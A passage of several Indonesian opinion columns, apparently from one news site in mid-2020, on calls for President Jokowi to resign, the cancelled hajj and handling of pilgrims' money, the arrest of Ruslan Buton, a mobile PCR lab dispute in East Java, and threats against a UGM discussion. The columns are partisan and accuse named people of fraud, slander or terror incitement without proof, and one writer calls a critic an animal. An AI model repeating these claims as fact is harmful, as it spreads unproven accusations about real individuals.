ada kriteria yang jelas. Ada mekanisme yang jelas untuk memberhentikan presiden. Dengan demikian maka jalan untuk meminta preisiden mundur adalah jalan konstitusional. Entah itu aspirasi tiap-tiap orang atau pendapat DPR. Semua sah. Tinggal mekanisme yang seperti apa untuk meminta Presiden mundur, itu tergantung situasi nasional dan dinamika politik yang terjadi. Berdasarkan penilaian atas enam kriteria tersebut, presiden bisa saja diberhentikan. Dengan demikian, setiap orang dapat menyampaikan aspirasinya. Bisa berupa meminta presiden mundur dari jabatannya sebagai presiden. Namun bisa juga meminta agar presiden tetap bertahan pada jabatannya. Penulis adalah Dosen Fak. Hukum dan FISIP UMJ dan Inisiator Masyumi Reborn

Ibadah Haji Batal, Uang Jemaah Disandera

Oleh H. Mangarahon Dongoran Jakarta, FNN - PENGUMUMAN pemerintah yang membatalkan keberangkatan jemaah haji tahun 2020 ini bukan berita mengejutkan. Sebab, sejak akhir Maret 2020 yang lalu kerajaan Arab Saudi sudah memberikan tanda-tanda bakal ditiadakannya ibadah haji tahun ini. Masalahnya, tanda-tanda yang disampaikan oleh Menteri Urusan Haji dan Umrah Kerajaan Arab Saudi Muhammad Saleh bin Taher Banten itu, dianggap pemerintah melalui Kementerian Agama salah kutip oleh media. Padahal, sudah jelas Pemerintah Arab Saudi (PAS) meminta atau mengimbau agar umat Islam mengurungkan niatnya menunaikan ibadah haji tahun ini. Jumlah jemaah haji tiap tahun berada pada kisaran 2 sampai 3 juta jemaah dari seluruh dunia. "Kerajaan berkewajiban menjamin keselamatan semua umat muslim yang beribadah di Mekkah dan Madinah," kata Menteri urusan Haji dan Umrah, Muhammad Saleh bin Taher Banten kepada televisi lokal setempat. "Oleh sebab itu, kami meminta semua umat muslim di seluruh dunia untuk menunda perjalanan haji sampai situasinya membaik," katanya dalam wawancara pada 31 Maret 2020 dengan latar belakang halaman Masjidil Haram yang dipenuhi suara serangga. Jika pemerintah Indonesia, terutama Kementerian Agama, dan lebih khusus Menteri Agama Fachrul Razi dan Komisi VII DPR RI peka terhadap pernyataan tersebut, maka sejak saat itu urusan proses pelunasan Biaya Perjalanan Ibadah Haji (BPIH) sudah dihentikan. Akan tetapi, entah pemikiran apa yang menempel di otak pejabat Indonesia yang berkait dengan itu, sehingga pemerintah dan DPR sepakat agar BPIH tetap dilunasi. Semua tahu, pemerintah Arab Saudi telah mengambil keputusan penting, yaitu menghentikan layanan proses visa umrah dan turis sejak Kamis, 27 Februari 2020. Keputusan tersebut dikeluarkan guna mengantisipasi merebaknya wabah Virus China atau Corona Virus Disaesa 2019 (Covid-19) yang pertama kali terjadi di Kota Wuhan, Republik Rakyat China pada awal Januari 2020. Sejak keputusan menghentikan pelayanan visa umrah dan visa turis dikeluarkan, banyak yang memperkirakan akan berdampak pada penyelenggaraan Ibadah Haji tahun 1441 Hijriyah/2020 Masehi. Apalagi, keputusan pelayanan visa tersebut kemudian diikuti penutupan Masjidil Haram (Mekkah) dan Masjidil Nabawi (Madinah) untuk kegiatan shalat Jum'at, dan meniadakan shalat fardu di masjid yang ada di seluruh Arab Saudi. Penduduk diminta shalat di rumah masing-masing. Bahkan, pemerintah kerajaan memberlakukan jam malam pada Hari Raya Idul Fitri, mulai 23 sampai 27 Mei 2020. Lalu mengapa pemerintah Indonesia masih terus meminta BPIH dilunasi? Mengapa pemerintah masih percaya diri bahwa Ibadah Haji tahun ini masih dilaksanakan Pemerintah Arab Saudi? Padahal, prediksi ilmuwan, Covid-19 di Indonesia baru berakhir pada 23 September 2020 atau mundur hampir sebulan dari sebelumnya 28 Agustus 2020. Kita berharap prediksi 23 September 2020 itu bisa benar. Kita berharap tidak mundur lagi. Sebab, kalau maju sangat sulit masuk akal, mengingat penanganannya yang kurang tegas dari pemerintah pusat. Sedangkan masyarakat, terutama di daerah yang memberlakukan Pembatasan Sosial Berskala Besar (PSBB), kurang disiplin. Menteri Agama Fachrul Razi juga sempat mengatakan masih menunggu kepastian dari pemerintah Arab Saudi hingga 20 Mei 2020 yang lalu. Akan tetapi, setelah hampir 13 hari tak ada jawaban, barulah dimumkan ditunda, Selasa, 2 Juni 2020. Mengapa tidak ada jawaban dari PAS? Sebab, mereka konsisten dengan keputusannya demi menyelamatkan rakyatnya. Dalam bahasa agama Islam, PAS istiqamah dalam kepurusan dan kebijakannya. Mereka tidak mau banyak korban manusia akibat Covid-19 yang mewabah ke hampir seluruh belahan dunia. Arab Saudi tidak memikirkan berapa besar dampaknya terhadap ekonomi. Mereka lebih mengutamakan nyawa satu orang warga ketimbang ekonomi. Pertumbuhan ekonomi bisa dikejar tahun-tahun mendatang. Sementara nyawa satu orang penduduk yang hilang tidak akan bisa diganti dengan apapun. Pemerintah Indonesia kurang tajam dalam membaca sinyal-sinyal yang sudah lama dikeluarkan PAS. Termasuk penghentian total penerbangan dari dan ke negara kaya minyak itu. Jika penerbangan dihentikan, lalu mengangkut calon jemaah haji menggunakan apa? Kapal laut? Pake onta? Keteguhan Arab Saudi yang belum mengumumķan secara resmi ibadah haji tahun dibatalkan (hanya tanda-tanda), bukan tanpa alasan. Ya, alasannya karena mereka tidak mau terlalu dalam masuk dalam jebakan "disalahkan." Selain tentu karena dalam mengeluarkan tanda-tanda sebelumnya juga sebenarnya sudah melibatkat ulama-ulama Saudi yang waro' dan juga banyak pejabat yang waro'. Mengapa pemerintah ngotot agar bakal calon jemaah haji melunasi BPIH? Umat Islam yang berkeinginan haji tahun ini seakan-akan disandera oleh Kementerian Agama. Ibarat kata pepatah, "Dilunasi mati ayah, tidak dilunasi juga mati ibu." Buktinya bisa dilihat dari masa perpanjangan pelunasan BPIH sampai dua kali. Masyarakat Curiga Pelunasan reguler untuk tahap pertama semula dijadwalkan pada 19 Maret hingga 17 April 2020. Jadwal ini diperpanjang hingga 30 April 2020. Kemudian, pelunasan tahap kedua yang semula dijadwalkan pada 30 April hingga15 Mei 2020, diubah menjadi 12 hingga 20 Mei 2020. Dari sinilah kelihatan pemerintah bernafsu menyandera uang rakyat (baca bakal calon jemaah haji). Sudah tahu Covid-19 belum mereda dan puncaknya akhir Mei sampai awal Juni, kok masih tega memerpajang sampai 20 Mei 2020? Ada 210.000 bakal calon jemaah haji 2020. Total uang yang sudah terkumpul kurang lebih 600 juta dolar. Suatu angka yang sangat fantastis buat "dipermainkan" di masa sulit ini. Karena angkanya yang cukup besar, maka wajar masyarakat curiga dana itu akan digunakan untuk macam-macam. Apalagi, setelah membaca pernyataan Pelaksana tugas Badan Pengelola Keuangan Haji (BPKH) Anggito Abimayu yang memastikanakan memanfaatkan dana simpanan yang dimiliki untuk membiayai penyelenggaraan ibadah haji 2020 untuk kepentingan stabilisasi nilai tukar rupiah. Anggito mengatakan, saat ini BPKH memiliki simpanan sebanyak 600 juta dolar Amerika Serikat atau setara Rp 8,7 triliun kurs Rp 14.500 per dolar AS. Dengan begitu, dana itu akan dimanfaatkan untuk membantu Bank Indonesia dalam penguatan kurs rupiah. Sedangkan total dana yang dikelola badan yang dipimpinnya Rp 135 triliun dan digunakan dalam berbagai bentuk lembiayaan, termasuk pembelian SUKUK. Betul ada dua opsi dari Kemenag bagi mereka yang sudah melunasi BPIH tahun 2020. Pertama menarik kembali uangnya, sehingga tidak ikut dalam ibadah haji tahun 2021. Kedua, tidak menarik kembali uangnya, dengan harapan bisa mengikuti ibadah haji tahun 2021. Biasanya, masyarakat apatis terhadap opsi pertama. Alasanya, ruwet…ruwet…ruwet. Belum lagi uangnya akan dipotong biaya admintrasi. Menjadi pertanyaan, mengapa dana haji bisa dialihlan ke yang lain-lain? Tentu jawabannya ada di kantong pejabat yang berkuasa dan berkepentingan. ** Penulis, Wartawan Senior

Buton Yang Berjiwa Beton

By M. Rizal Fadillah Jakarta FNN – Selasa (02/06). Badan tegap, sebagai seorang prajurit TNI menggambarkan kejiwaannya. Konsisten, semangat, dan berani menyampaikan kebenaran. Ruslan Buton benar-benar termasuk dalam profil prajurit yang sangat langka di era sekarang. Dipecat dari statusnya sebagai prajurit TNI atas tuduhan kriminal. Tetapi Ruslan tetap saja prajurit pejuang. Bahkan semakin kokoh berjuang memenuhi panggilan jiwa dan kewajibannya sebagai pembela tanah air. Selalu siap untuk berkontribusi bagi bangsa dan negaranya. Begitulah cara dan keyakinan Ruslan Buton. Meski berhadapan dengan ancaman dan tuduhan hukum. Mungkin untuk kedua kalinya, bahkan bisa jadi untuk ketiga kalinya kelak. Ruslan Buton tetap saja menunjukkan perlawanan. Dia tidak bersedia menandatangani Berita Acara Pemeriksaan (BAP). Artinya, ada keyakinan kuat dari Ruslan, bahwa yang dilakukannya bukan perbuatan melawan hukum. Audio surat terbuka mendesak Presiden Jokowi mundur dari jabatan, diyakini Ruslan sebagai hak konstitusional warga negara. Demikian juga soal "keniscayaan aksi rakyat" adalah persepsi dan kekhawatiran terhadap keadaan. Bukan ajakan untuk melakukan. Bahwa proses hukum dan langkah pihak berwenang wajar pula. Meski demikkian, warning dan reaksi publik jelas. Meminta dan mendesak Polisi agar tidak "parno" dalam menangani himbauan Ruslan Buton yang disampaikan secara terbuka sebagai bentuk koreksi kepada pemerintah dan Presiden Jokowi. Walaupun telah ditetapkan status tersangka dan ditahan. Akan tetapi asas "presumption of innocent" tetap harus diterapkan dan dikedepankan. Masih mungkin sangkaan tak terbukti, atau bukti tidak menunjukkan perbuatan pidana. Dalam tahap penyidikan bisa saja polisi SP3. Selain Jaksa Pemeriksa bisa menghentikan penuntutan, Ruslan juga masih punya hak hokum menguji penetapan status tersangka yang disangkakan Polisi kepadanya. Ingat, Ruslan masih boleh mengajukan gugatan Praperadilan kepada Polisi. Jika dikabulan, kerja Polisi menjadi tidak berarti apa-apa. Simpati dan dukungan publik kepada Ruslan, patut dibaca sebagai konstelasi sekaligus aspirasi dari perasaan keadilan rakyat. Klarifikasi atas dasar pemecatan dahulu, serta kesaksian riwayat hidup dari kontribusi sosial Ruslan Buton bermunculan dimana-mana. Dukungan dan simpati itu, tidak saja dari ratusan purnawirawan TNI. Tetapi juga dukungan yang semakin meluas dan membesar. Nuansanya pembelaan dan simpati terhadap mantan prajurit TNI berjiwa beton ini. Selintas terbayamg tipe in-fighter si leher beton Mike Tyson. Putra Sulawesi yang sebelumnya telah muncul di ruang publik perjuangan hukum adalah Muhammad Said Didu. Kini muncul lagi putra Sulawesi Ruslan Buton. Keduanya sama berhadapan dengan kekuasaan politik yang sensitif dan represip terhadap kritik di wilayah publik. Rezim yang dinilai otoriter dan jauh dari bersahabat dengan aspirasi dari rakyatnnya sendiri. Seruan atau himbauan dari Ruslan Butonb agar Presiden Jokowi mengundurkan diri memiliki landasan hukum kuat. Ada Ketetapan MPR No VI/MPR/2001. Jadi bukan tak berdasar. Apa karena himbauan yang disampaikan oleh Ruslan Buton itu dengan "suara agak keras"? Kalau benar iya, karena suara Ruslan Buton yang agak keras, maka itu kan hanya gaya suara putra Sulwesi Tenggara ini (Indonesia Timur), yang lama bertugas di Maluku Utara. Rata-rata orang Indonesia Timur, Maluku, Maluku Utara, Papua dan Sulawesi ya suaranya keras. Namun hatinya pasti bermaksud baik. Apalagi kalau itu untuk kepentingan orang banyak. Jika proses berlanjut, dan dukungan agar Buton dibebaskan tak berhasil, maka publik kemungkinan akan dibawa ke aras "pertunjukkan" politik dan hukum yang menarik. Seorang mantan prajurit yang masih berjiwa patriot tampil heroik memperjuangkan keyakinan. Dia minta dan mengusulkan agar perlunya Presiden mengundurkan diri karena ketidakmampuan memimpin negara. Presiden tidak mampu mengatasi krisis ekonomi, dan korupsi. Juga membanjirnya tenaga kerja asing, bahkan poham komunisme. Untuk itu, Ruslan Buton bangkit dan berjuang membuktikan hak-hak konstitusional. Hak yang semestinya dilindungi oleh hukum. Bukan dikriminalisasi. Disadari atau tidak ,memang negara ini butuh orang yang berani, dan mandiri. Tidak takut dengan ancaman dalam bentuk apapun dari penguasa. Selalu teguh dalam beramar ma'ruf nahi munkar. Tujuannya, demi kebaikan bangsa dan negara. Tidak rela membiarkan kehidupan bangsa ini terpuruk di bidang ekonomi, sosial, dan politik yang terus melemah. Melemah karena selalu digerogoti oleh rayap-rayap korupsi dan perbudakan asing. Kepura-puraan dalam memperkaya diri, keluarga, dan kroninya. Ruslan Buton adalah bagian dari fenomena perlawanan itu. Masyarakat pasti mendukung Ruslan Buton yang berjuwa beton. Penulis adalah Pemerhati Politik dan Kebangsaan

BNPB Tegaskan Mobile PCR untuk Jatim, Bukan Hanya Surabaya!

Oleh Mochamad Toha Jakarta, FNN - Persoalan “rebutan” mobil bantuan mobil BNPB mulai diseret ke rana politik. Sekjen DPP PDIP Hasto Kristiyanto meminta Gubernur Jatim Khofifah Indar Parawansa menghentikan rivalitas politik dengan Walikota Surabaya Tri Rismaharini soal penanganan Covid-19. Tapi, jejak digital menjadi bukti, sebenarnya tidak ada koordinasi penanganan Covid-19 di lingkungan pejabat Pemkot Surabaya. Tampaknya Walikota Risma tidak pernah baca atau mendapatkan informasi valid terkait bantuan Mobil Laboratorium BSL-2 di Surabaya. Padahal, seperti dilansir Tempo.co, Rabu (27 Mei 2020 09:04 WIB), Kepala Gugus Tugas Percepatan Penanganan Covid-19 Doni Monardo sempat meninjau mobil laboratorium Bio Safety Level 2 (BSL-2) di Kota Surabaya, Jatim, pada Rabu, 27 Mei 2020. Dalam peninjauan yang ditayangkan akun Youtube BNPB, Doni melihat isi mobil itu sambil mendengar penjelasan dari petugas. Tidak lama kemudian, dengan pengawalan dari polisi, mobil tersebut diberangkatkan untuk mulai bertugas. Doni menjelaskan bahwa ada 2 unit mobil lab BSL-2 yang dikirim ke Jatim untuk membantu pemeriksaan spesimen. “Pengiriman 2 unit mobil BSL-2 ini bisa membantu Pemprov Jatim,” tegas Doni. Di sini jelas sekali, bukan untuk Surabaya! Jadi, kemarahan Risma terkait bantuan 2 unit mobil Polymerase Chain Reaction (PCR) dari BNPB yang, konon, diserobot Gugus Tugas Percepatan Penanganan Covid-19 Jatim itu salah alamat. Dipastikan, Risma tidak mendapat informasi akurat dari bawahannya. Jawa Pos, Kamis (28 Mei 2020), memuat pernyataan Wakil koordinator Humas Gugus Tugas Covid-19 Kota Surabaya M. Fikser bahwa mobil combat PCR adalah bantuan dari BNPB dan BIN ditempatkan di Asrama Haji. Tapi, fakta sebenarnya mobil tersebut adalah bantuan dari BNPB sebagaimana permohonan Pemprov Jatim dan ditempatkan di RS Lapangan Indrapura. Mobil laboratorium dikirimkan karena ada salah satu laboratorium di Jatim rusak. Sehingga, tidak bisa memeriksa spesimen Covid-19. Saat ini, kata Doni, pemerintah sedang mengupayakan pengiriman 3 unit mobil laboratorium BSL-2 untuk Surabaya, Lumajang, dan Sidoarjo. “Kami upayakan kirim untuk bantu Gugus Tugas Jawa Timur,” tegasnya. Salah Info Bisa jadi, penyebab Risma marah itu karena laporan anak buahnya yang salah info. Terutama dari M. Fikser, yang juga mantan Kabag Humas Pemkot Surabaya. Pada Senin, 31 Mei 2020, saya terima catatan “Kronologi Bantuan Mobile PCR dari BNPB”. Berikut ini petikannya: Tanggal 11 Mei 2020, Gubernur Jawa Timur mengajukan surat permohonan Kepada Gugus Tugas Percepatan Penanganan COVID-19 Pusat perihal kebutuhan bantuan mesin PCR.Permohonan tersebut di-follow up oleh Gubernur Jawa Timur dan Pangdam V Brawijaya dengan menghubungi melalui telepon seluler kepada Ketua Gugus Tugas COVID-19 Pusat Bapak Doni Monardo bahwa kebutuhan mesin tes PCR sangat mendesak dan juga bersamaan dengan laboratorium Institute of Tropical Disease Unair (ITD) yang sedang menghentikan sementara operasional Lab-nya.Tanggal 24 Mei 2020, Bapak Doni Monardo menelepon Gubernur Jawa Timur bahwa Mobil Tes PCR siap dikirim ke Jawa Timur sebanyak 2 (dua) unit, dan selanjutnya secara teknis Kalaksa BPBD Jatim (Bapak Suban W.) diminta untuk koordinasi langsung dengan Deputi Kedaruratan BNPB (Bapak Dody).Kalaksa BPBD Jawa Timur berkoordinasi dengan Deputy Kedaruratan BNPB untuk memonitor perjalanan mobil combat PCR dari Jakarta ke Surabaya dengan contact person Bapak Sandi (Koordinator unit mobil combat PCR- 089501000xxx) sekaligus dilakukan serah terima mobil combat PCR di Rumah Sakit Lapangan di Jl Indrapura Surabaya.Tanggal 27 Mei 2020, Pukul 11.00, Mobil Combat PCR sampai di Rumah Sakit Lapangan Jl Indrapura Surabaya dan diserahterimakan kepada Ketua Gugus Kuratif Pemprov Jatim (Bapak dr. Joni Wahyuhadi), dan dari BNPB diwakili oleh Ibu Roslin Lamtarida dan disaksikan oleh LO BNPB (Bapak Gebana) serta dari Dinas Kesehatan Provinsi Jawa Timur (dr Ninis).Tanggal 27 Mei 2020 pukul 13.00 staf pegawai pemerintah Kota Surabaya mengirimkan surat permohonan bantuan swab yang ditujukan kepada BNPB Jawa Timur.Surat tersebut dikirim ke tenda Gudang logistik BPBD Jatim di Grahadi dan diterima oleh sdr Agung (Petugas Gudang Logistik). Petugas Pemkot Surabaya meminta bantuan agar surat tersebut diserahkan kepada bpk Gebana selaku LO BNPB di Jawa Timur. Surat tersebut tertanggal 22 Mei 2020.Info dari LO BNPB Jatim, terdapat keganjilan pada surat Pemkot Surabaya tersebut, yaitu apakah tujuan surat tersebut kepada BNPB atau BPBD Jatim dan untuk memastikan hal tersebut, beliau memanggil bpk Gatot (Kepala Bidang Pencegahan dan Kesiapsiagaan BPBD Jatim).Tanggal 27 Mei 2020 setelah serah terima Mobil Combat PCR, dr Joni Wahyuhadi Ketua Gugus Kuratif Pemprov Jatim berkoordinasi dengan Plt Kepala Dinas Kesehatan Kota Surabaya (drg Febriana) untuk penjadwalan operasional mobil PCR di Surabaya. Plt Kepala Dinas menugaskan kepada staff dinkes Kota Surabaya (Ibu Dani) untuk berkoordinasi dengan Ketua Gugus Kuratif Pemprov Jatim dengan hasil satu mobil akan beroperasional di RS Unair/ITD dan Asrama Haji Surabaya tanggal 27 Mei 2020. Tanggal 27 Mei 2020 Pak Dody (Deputy Kedaruratan BNPB) menelepon kalaksa BPBD Jatim dan menginformasikan akan dikirim dari Jakarta tambahan 1 (satu) mobil PCR dengan 6 mesin PCR dan dalam pengawalan polisi. Beliau juga memberikan kontak person sdr Muhammad Aprianto selaku koordinator mobil combat PCR (0895353103xxx) kepada kalaksa BPBD Jatim.Tanggal 28 Mei 2020 pukul 05.00, mobil combat PCR kedua datang dari Jakarta dan langsung menuju Hotel Arya Surabaya.Tanggal 28 Mei 2020 pagi, Koran Jawa Pos memuat pernyataan M. Fikser (Wakil koordinator Humas Gugus Tugas COVID-19 Kota Surabaya) bahwa mobil combat PCR adalah bantuan dari BNPB dan BIN ditempatkan di Asrama Haji. Fakta sebenarnya mobil tersebut adalah bantuan dari BNPB sebagaimana permohonan Pemerintah Provinsi Jawa Timur dan ditempatkan di RS Lapangan Indrapura. Foto di atas berlokasi di RS Lapangan Indrapura bukan di Asrama Haji. Tanggal 28 Mei 2020 pagi, 1 (satu) mobil combat PCR dijwadwalkan untuk melakukan swab di Asrama Haji dan 1 (satu) mobil combat PCR dijadwalkan ke RSUD Sidoarjo dengan pertimbangan di Asrama haji terdapat 100 pasien yang belum teridentifikasi positif. Selain itu data tanggal 27 Mei 2020 jam 17.00, menunjukkan bahwa kasus konfirmasi di Sidoarjo mencapai 565 kasus dengan 120 sampel masih belum diperiksa, sementara Sidoarjo tidak memiliki mesin PCR. Tanggal 28 Mei 2020 malam, tidak ada informasi dari Dinkes Kota Surabaya Kepada Koordinator Gugus Kuratif Pemprov Jawa Timur bahwa akan ada kegiatan pemeriksaan swab dari mobil Combat PCR tanggal 29 Mei 2020 di Kota Surabaya.Tanggal 29 Mei 2020, 1 (satu) mobil diberangkatkan untuk melakukan swab di RSUD dr Iskak Tulungagung dengan pertimbangan kasus PDP tertinggi kedua di Jawa Timur yakni 588 pasien. Di mana terdapat 172 pasien yang meninggal dalam status PDP sebelum sempat selesai di swab, sementara mesin PCR di RS dr Iskak sedang dalam proses optimasi. Satu (1) mobil lainnya diberangkatkan ke Lamongan dengan pertimbangan Lamongan memiliki kasus konfirmasi COVID-19 sebanyak 96, tertinggi setelah Surabaya Raya dan terdapat 173 PDP yang belum dilakukan PCR karena di Lamongan tidak ada mesin PCR. Tanggal 29 Mei 2020 sekitar pukul 08.00, Plt Kadinkes Surabaya menelepon Gugus Tugas Kuratif Pemprov Jatim dan meminta kedua móbil untuk kembali ke Kota Surabaya. Sementara móbil sudah berangkat menuju Tulungagung dan Lamongan yang sudah siap dan telah ditunggu pasien.Tanggal 30 Mei 2020, sesuai dengan rencana yang disusun oleh Gugus Tugas Kuratif dan PIC dari Dinkes Kota Surabaya dan Kabag Ops Polrestabes Surabaya melakukan swab dan pemeriksaan PCR di Kampung Tangguh di Kelurahan Rangkahbuntu RT 02 RW 06 Kecamatan Tambaksari Surabaya, Gelora Pancasila Surabaya, RS Soewandhi Surabaya dan RS Husada Utama Surabaya. Mobil lab BSL-2 dilengkapi dengan tiga titik negative pressure untuk menjaga udara tetap aman di dalam mobil. Berbeda dengan lab PCR pada umumnya yang menggunakan liquid reagen, mobil lab BSL-2 menggunakan teknologi terbaru dari Korea Selatan. Yaitu crystal mix dengan reagen yang padat. Sehingga, mudah dibawa ke mana saja dalam suhu ruangan dan tidak perlu pendinginan khusus minus 80 derajat atau 20 derajat. Dalam waktu 39 menit, mobil lab BSL-2 yang dikirim ke Jatim ini juga mampu mendeteksi ODP maupun PDP itu positif atau negatif Covid-19. Sebelumnya, Pemkot Surabaya sendiri di dalam perkembangannya sudah mendapat bantuan serupa dari Badan Intelijen INegara (BIN).. Penulis Wartawan Senior.

Muhammadiyah Dituduh dan Difitnah Buzzer Murahan

By Furqan Jurdi Jakarta FNN – Senin (31/05). Hanya binatang langka yang dibiarkan dan ditolerir kalau membuat keonaran tidak dihukum. Persis seperti itulah Ade di rawat oleh mereka. Kemarin nama Muhammadiyah dicatut sebagai organisasi yang mengancam mahasiswa UGM melaksanakan diskusi tentang masalah Impeachment Presiden. Muhammadiyah dituduh sebagai organisasi yang mengancam panitia diakusi. Hari ini Masyarakat Hukum Tata Negara Muhammadiyah melaksanakan diskusi dengan tema yang hampir sama, seputar pemakzulan presiden. Tapi Muhammadiyah juga yang dituduh ingin memakzulkan presiden. Ada operasi apa dibalik semua ini? Siapa yang bermain dibalik nama Muhammadiyah dan tuduhan terhadap Muhammadiyah itu? Bahkan Ade, salah satu pembina BUZZER, tukang penyebar fitnah, menuduh Muhammadiyah ingin mengimpeachment presiden. Dan menghina Prof. Din Syamsuddin. Tuduhan kepada Muhammadiyah sebagai organisasi tentu sangat serius. Sebuah organisasi yang bahkan menjadi tempat negara untuk bersandar. Kalau istilah Pak Tarmizi Taher “Sebagai Tenda Bangsa”. Muhammadiyah tidak pernah berpikir pragmatis untuk mencari secuil kekuasaan. Bukan tipe orang Muhammadiyah memanfaatkan kesempatan untuk mencari kekuasaan dengan cara norak seperti itu. Mungkin ada sebagian orang Muhammadiyah yang haus kekuasaan, itu sebagian kecil. Tetapi setahu saya, kunci kekuatan Muhammadiyah hingga hari ini adalah keikhlasan. Tidak ada ambisi dalam organisasi ini. Apalagi ambisi untuk meraup keuntungan pribadi. Apalagi memanfaatkan kondisi tertentu dengan memfitnah, dan menuduh orang lain seperti Ade. Muhammadiyah selalu mengedepankan kepentingan umat, bangsa dan negara di atas kepentingan pribadi dan golongan. Maka, tidak ada organisasi yang egaliter seperti Muhammadiyah. Tentu hal itu hanya dapat dirasakan oleh orang yang benar-benar ber-Muhammadiyah. Tentu binatang tidak tahu apa itu Muhammadiyah, siapa itu orang Muhammadiyah. Dia hanya kenal binatang yang sejenis dengannya. Yaitu tukang pemfitnah, dengan mencari makan menyebarkan fitnah dan tuduhan. Muhammadiyah pasti tidak semurah itu. Saya ingatkan, kasih tahu Presiden, suruh bayar utang negara pada Muhammadiyah. Tuduhan Ade kepada Muhammadiyah adalah tuduhan serius. Sudah memenuhi unsur pidana dan ujaran kebencian. Perbuatan yang tidak menyenangkan, yang menimbulkan keonaran ditengah masyarakat. Warga Muhammadiyah yang 50 juta lebih itu tentu tidak akan tinggal diam. Selain menuduh Muhammadiyah, Ade juga telah memenuhi syarat pencemaran nama baik terhadap Prof. Din Syamsuddin. Sebagai mantan Ketua Umum Muhammadiyah, tentu beliau masih menjadi salah satu panutan warga Muhammadiyah. Sementara sikap kritisnya selama ini, beliau selalu sandarkan pada niat dan itikad baik kepada bangsa dan negara. Pembacaan beliau sangat bijak, meski begitu kritis ketika mengemukakan argumentasi. Tetapi kekuasaan yang bertelinga tipis, akan kepanasan mendengar kritik dan saran dari Pak Din. Ini bukan negara feudal. Dimana hanya ada penyembah berhala kekuasaan. Ini demokrasi, dan setiap orang boleh membicarakan apapun yang menjadi pikirannya, semasih itu tidak bertabrakan dengan hak asasi orang lain. Lalu Apa salahnya orang berdiskusi tentang impeachment tuan presiden? Adakah hal yang salah? Impeachment itu terdapat dalam konstitusi. Dibicarakan secara detail dalam UUD 1945. Kalau membicarakan Impeachment tuan presiden adalah perbuatan pidana, atau pelanggaran hukum, maka dapat dikatakan bahwa UUD adalah “buku panduan kejahatan”. Karena tata cara pemberhentian presiden dijelaskan dan diperintahkan oleh konstitusi. Artinya, kalau rezim ini menganggap diskusi tentang impeachment tuan presiden adalah membahayakan negara, maka UUD 1945 lebih berbahaya lagi. Itu alur logikanya. Sudah berapa buku ditulis tentang Impeachment presiden. Sudah berapa semester bagi mahasiswa hukum mempelajari impeachment. Tiba-tiba rezim ini menganggap diskusi tentang pemakzulan presiden adalah kegiatan yang sangat berbahaya. Belajar hokum dimana tuh? Sungguh demokrasi diambang kematian. Bagaimana mungkin negara yang demokrasi membatasi diskusi, yang dianggap mengkritisi kekuasaannya. Padahal Pasal 28 UUD 1945 memberikan kebebasan untuk menyampaikan pikiran secara lisan dan tertulis. Baik yang pro pemerintah maupun yang tidak pro pemerintah di jamin untuk mengeluarkan pendapat secara lisan maupun tertulis. Tetapi kenapa mereka yang kritis dilarang. Sementara pemuja kekuasaan dibiarkan menyebarkan fitnah secara blak-blakan. Ini sungguh tidak adil. Ini harus diluruskan. Ini harus diperbaiki. Ini juga harus diubah. Saya ingatkan, bahwa Ade boleh kebal hokum. Ade boleh memfitnah siapapun dan kapanpun, tetapi ingat tidak ada kekuasaan yang abadi. Semua akan berganti dan hal yang sama bisa berlaku sebaliknya. Wallahualam bis shawab Penulis adalah Aktivis Muda Muhammadiyah dan Ketua Pemuda Madani

Terorisme di Kampus UGM

By M Rizal Fadillah Jakarta FNN – Senin (01/06). Kasus teror dengam ancaman pembunuhan kepada mahasiswa selaku Panitia Penyelenggara Diskusi Online di Kampus Universitas Gajah Mada (UGM). Teror dengan tujuan fisik ditujukan kepada Narasumber Prof DR Ni'matul Huda, SH M.Hum. Teror model ini tentu saja tidak bisa dianggap enteng atau biasa-biasa saja. Tragisnya lagi, peneror mencatut nama Muhammadiyah Klaten. Pihak Muhammadiyah sendiri sudah mengklarifikasi. Muhammadiyah menuntut Polisi untuk mengusut pencatutan yang berbau adu domba tersebut. Mirip-mirip dengan gayanya komunis dulu. Provokator peneror sudah diketahui. Dia adalah Dosen FakultasTeknik yang gagal menjadi Rektor UGM. Namanya KPH Bagas Pujilaksono Widyakanigara. Ia semestinya sudah terkena delik hukum penyebaran informasi hoax, karena menuduh ada gerakan makar lewat diskusi. Dasarnya adalah UU ITE yang sudah biasa dipakai polisi untuk menyeret dan menindak penyebar informasi hoax yang lain. Akibat teror tersebut, terjadi kerugian. Baik berupa batalnya acara diskusi, maupun menimbulkan aksi teror. Yang bersangkutan seharusnya sudah dapat mulai disidik. Langkah berikut adalah mengejar para teroris. Jika Kepolisian setempat mengalami kesulitan, maka dapat melibatkan Densus 88 Anti Teror. Perbuatan kriminal baik kepada Panitia maupun Narasumber adalah perbuatan luar biasa, apalagi memfitnah Ormas Muhammadiyah. Perbuatan ini, ada muatan politik yang terencana. Disain yang membahayakan dunia akademik maupun masyarakat dan Ormas Muhammadiyah. Apalagi di tengah pembahasan RUU HIP yang ditengarai kental berbau komunisme dan Orde Lama. Undang-Undang No. 5 tahun 2018 yang berkaitan dengan pemberanfasan tindak pidana terorisme menegaskan, elemen terorisme antara lain adanya kekerasan atau ancaman kekerasan, menimbulkan suasana teror atau rasa takut, dengan motif ideologi, politik, atau gangguan keamanan. Nah, patut diduga masifnya, dan dampak teror dari gagalnya diskusi online UGM tersebut cukup besar. Ada tiga institusi terdampak aksi terror tersebut, yaitu UGM, Uiversitas Islam Indonesia (UII), dan Ormas Muhammadiyah. Teror terhadap kebebasan berpendapat dan kelangsungan demokrasi ini lebih berat. Bahkan sangat serius. Penyidikan dapat mulai dari Bagas Pujilaksono. Untuk menguji jaringan atau keterkaitan dengan teror ancaman pembunuhan kepada mahasiswa, teror gangguan fisik kepada Guru Besar UII dan memfitnah Ormas Muhammadiyah Klaten. Jelas benang merahnya. Ada motif ideologi, politik, atau gangguan keamaman. Polisi Cyber dapat dengan mudah membongkar penggunaan media elektronik dari pelaku teror. Hingga segera dapat ditemukan terorisnya. Masalah ini serius dikaitkan dengan tema diskusi soal persoalan pemecatan Presiden dalam sistem ketatanegaraan. Masalah akademik yang ditarik-tarik ke ruang politik oleh provokator atau teroris yang berfikiran jahat. Polisi dengan profesionalismenya dibantu dengan informasi masyarakat, khususnya civitas academica UII dan UGM diyakini mampu membongkar dugaan kasus terorisme ini. Bila tidak berlanjut atau menjadi kasus "X Files", maka bukan mustahil modus yang sama dapat dilakukan berulang-ulang. Kita respons dorongan Menkopolhukam yang juga alumni UII agar Kepolisian dapat mengusut tuntas kasus "terorisme" yang membahayakan kebebasan kalangan akademik, yang dijamin kebebasannya oleh Undang Undang dan Konstitusi negara tersebut. UGM, UII, dan Muhammadiyah tidak boleh 